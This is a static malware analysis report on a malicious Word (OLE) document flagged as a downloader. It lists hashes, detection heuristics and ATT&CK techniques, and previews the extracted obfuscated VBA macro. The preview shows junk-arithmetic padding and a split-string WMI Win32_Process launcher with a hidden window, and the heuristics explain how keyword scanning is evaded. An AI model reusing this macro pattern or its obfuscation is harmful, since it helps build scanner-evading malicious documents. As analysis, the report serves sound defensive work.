Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 afe7699c8efd483e…

MALICIOUS

Office (OLE)

309.1 KB Created: 2019-02-19 14:43:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 8843e747668f442067084c417f75a195 SHA-1: 3fcb307046dba85f7f79199590cbb60bfd487d6a SHA-256: afe7699c8efd483eecb3e80ea60ff04e1faa2305a9def54dd25b2005b6d7620f
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros with an autoopen function, which is a common technique for executing malicious code upon opening the document. The heuristics indicate the use of GetObject and CreateObject to launch Win32_Process via WMI, suggesting the macro attempts to download and execute a second-stage payload. The obfuscation of 'Win32_Process' using string splitting further supports malicious intent.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-6862868-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6862868-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58414 bytes
SHA-256: 9dff4a57690ae19352e2d13c28b1ae96889d3faca304bdc96e416d3e226987af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "i3___41"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Q30__98"
Function S9_0464_()
   If G__0_395 <> X65__1 Then
m9320_ = 69928175 + CSng(274635459) * 916465238 * ChrB(742542348) * (Z324_1 / CDbl(241756365 + CBool(X___2_ - Int(94678512 / k_51_801 * 182828837 / Cos(f4_16_4)))) - (w__6_5 + Oct(735344469) + 273714705 / 198394363))
End If
   If j_17_30 <> C_6___0 Then
W73_6209 = 529705338 + CSng(288565678) * 754053855 * ChrB(177643766) * (Z71__2 / CDbl(542811014 + CBool(H_6_9__2 - Int(128265733 / S85_5__5 * 639702474 / Cos(K___7_1_)))) - (W812_4 + Oct(69227833) + 736285549 / 564165527))
End If
   If S2691__ <> J399453 Then
D_2_92 = 773263907 + CSng(337282918) * 825842515 * ChrB(991443842) * (v854_3 / CDbl(766422362 + CBool(G18_5_ - Int(955386984 / l8432049 * 492904550 / Cos(l1_37494)))) - (H69__08 + Oct(898099798) + 242900194 / 174276371))
End If
   If c96_27 <> t_4593_ Then
p_661_ = 372372392 + CSng(786307628) * 296501797 * ChrB(928192495) * (s__482 / CDbl(763743717 + CBool(T_3_919_ - Int(634025537 / j5_3__ * 497561084 / Cos(w_8681)))) - (C213376 + Oct(72675152) + 240196941 / 613174469))
End If
   If T__3_3 <> o_3221_1 Then
D8__62_2 = 484137791 + CSng(953854392) * 473993027 * ChrB(651893484) * (R5_1153_ / CDbl(335366574 + CBool(I850353 - Int(245752702 / p29703_0 * 224198074 / Cos(l7__1_)))) - (i539548 + Oct(630765856) + 486930340 / 311631733))
End If
   If I_62_0 <> N9__74 Then
V4664824 = 432467165 + CSng(499411627) * 106128460 * ChrB(348582957) * (X_38__6 / CDbl(606473983 + CBool(i16_6894 - Int(265945245 / r2__90 * 126856090 / Cos(c__9328)))) - (m5__9_3 + Oct(158324550) + 266155738 / 831972341))
End If
   If d525_199 <> d8_4_7__ Then
c61350 = 761388204 + CSng(240402201) * 478228849 * ChrB(202008362) * (J3_9_2_2 / CDbl(881761414 + CBool(u__66_ - Int(424412820 / S_634__ * 124647898 / Cos(I59_608)))) - (j1_3_23 + Oct(341146054) + 489159243 / 293335668))
End If
   If Y_1821_ <> M5_1_85 Then
c8__08 = 63060894 + CSng(295883638) * 226973222 * ChrB(864363911) * (M5747210 / CDbl(867829867 + CBool(X891_3 - Int(233464193 / d9_709 * 153296911 / Cos(r__69_1)))) - (Z75_6267 + Oct(373873392) + 63903976 / 498688212))
End If
End Function
Function O9_70__(K1021_0, l_407_8_)
On Error Resume Next
   If M50__69_ <> W_3_07 Then
i799658_ = 265303139 + CSng(315787401) * 372165451 * ChrB(422608000) * (G__4__3 / CDbl(683761289 + CBool(B2728__9 - Int(468307119 / j39_57_ * 150441785 / Cos(w___4_7)))) - (d__995 + Oct(854941842) + 419628723 / 394084049))
End If
   If d64_549_ <> n6_1492_ Then
i_55_7 = 439782903 + CSng(543806090) * 171720017 * ChrB(990355779) * (j_78061 / CDbl(450659639 + CBool(P69628 - Int(888892388 / E213_2__ * 882487646 / Cos(o676_3)))) - (u0__856_ + Oct(724834051) + 499020304 / 328927256))
End If
   If h_3_3_3 <> w9_249_ Then
T__0_72 = 399362680 + CSng(66003682) * 935924083 * ChrB(95220939) * (I__08_3 / CDbl(18316263 + CBool(v8526_8_ - Int(234161027 / A38__0_ * 762042295 / Cos(M_67_3)))) - (q_6911 + Oct(142572458) + 660872160 / 391320066))
End If
Set E_3__4 = GetObject(B_32396 + "winmgm" + Q542900_ + "ts:Win" + "32_Proce" + "ssStartup")
   If B_37_2 <> p3568_99 Then
E69____7 = 293292649 + CSng(177967525) * 519265380 * ChrB(926902902) * (L75_608 / CDbl(461423318 + CBool(i_928665 - Int(435047003 / J022497_ * 769794340 / Cos(H_317_45)))) - (Q_434__ + Oct(882670123) + 791540084 / 203332155))
End If
   If G6_33_ <> F3805162 Then
M95__95_ = 218095785 + CSng(431013869) * 340807292 * ChrB(441345481) * (w_21_4 / CDbl(954083515 + CBool(b11_5_ - Int(597573072 / P136_37 * 144422135 / Cos(m_50370)))) - (U5___8__ + Oct(864409779) + 734021475 / 49660395))
End If
E_3__4.ShowWindow = 16517 - 16517
   If q_9_0__ <> N700___7 Then
o8___670 = 621892159 + CSng(58507541) * 285758259 * ChrB(496209513) * (u04_513_ / CDbl(480984011 + CBool(u0__48 - Int(4403369 / w2__05
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.